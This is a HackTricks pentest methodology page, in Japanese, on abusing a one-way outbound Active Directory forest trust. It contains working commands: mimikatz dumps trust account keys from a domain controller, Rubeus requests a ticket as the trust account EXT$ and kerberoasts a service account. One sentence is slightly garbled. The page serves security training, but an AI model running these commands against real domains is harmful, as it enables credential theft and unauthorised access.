hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

8.9 KiB
Raw Blame History

外部フォレストドメイン - ワンウェイ(アウトバウンド)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

このシナリオでは、あなたのドメイン異なるドメインのプリンシパルに一部の特権を委任しています。

列挙

アウトバウンドトラスト

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

信頼アカウント攻撃

Active Directory ドメインまたはフォレストの信頼関係がドメイン B からドメイン A に設定されるとき(B が A を信頼する)、ドメイン A には B. Kerberos trust keys という名前の信頼アカウントが作成されます。このアカウントのパスワードから派生したキーは、ドメイン A のユーザーがドメイン B のサービスチケットを要求する際に、相互領域 TGT の暗号化に使用されます。

ドメインコントローラから信頼されたアカウントのパスワードとハッシュを取得することが可能です。以下の方法を使用します:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

リスクは、信頼アカウントB$が有効になっているためです。B$の主グループはドメインAのDomain Usersであり、Domain Usersに付与された権限はB$に適用されます。したがって、B$の資格情報を使用してドメインAに対して認証することが可能です。

{% hint style="warning" %} したがって、信頼するドメインから信頼されたドメイン内のユーザーを取得することが可能です。このユーザーには多くの権限はありませんおそらくDomain Usersのみですが、しかし、外部ドメインを列挙することができます。 {% endhint %}

この例では、信頼するドメインはext.localであり、信頼されるドメインはroot.localです。したがって、root.local内にEXT$というユーザーが作成されます。

# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes

したがって、この時点で**root.local\EXT$の現在の平文パスワードとKerberosの秘密鍵を持っています。root.local\EXT$のKerberos AES秘密鍵は、異なるソルトが使用されるため、AES信頼キーと同じではありませんが、RC4キーは同じです。したがって、私たちはext.localからダンプされたRC4信頼キーを使用して、root.local\EXT$としてroot.localに対して認証**することができます。

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

これにより、そのドメインの列挙を開始し、ユーザーのKerberoastingさえも行うことができます。

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

クリアテキストの信頼パスワードの収集

前のフローでは、クリアテキストのパスワードではなく、(また、mimikatzによってダンプされた)信頼ハッシュが使用されました。

クリアテキストのパスワードは、mimikatzの[ CLEAR ]出力を16進数に変換し、ヌルバイト '\x00' を削除することで取得できます:

信頼関係を作成する際に、ユーザーがパスワードを入力する必要がある場合があります。このデモンストレーションでは、キーは元の信頼パスワードであり、したがって人間が読める形式です。キーがサイクルする30日ごとと、クリアテキストは人間が読めなくなりますが、技術的にはまだ使用可能です。

クリアテキストのパスワードは、信頼アカウントのKerberos秘密キーを使用してTGTを要求する代わりに、信頼アカウントのトラストアカウントとして通常の認証を実行するために使用できます。ここでは、ext.localからroot.localに対してDomain Adminsのメンバーをクエリしています

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥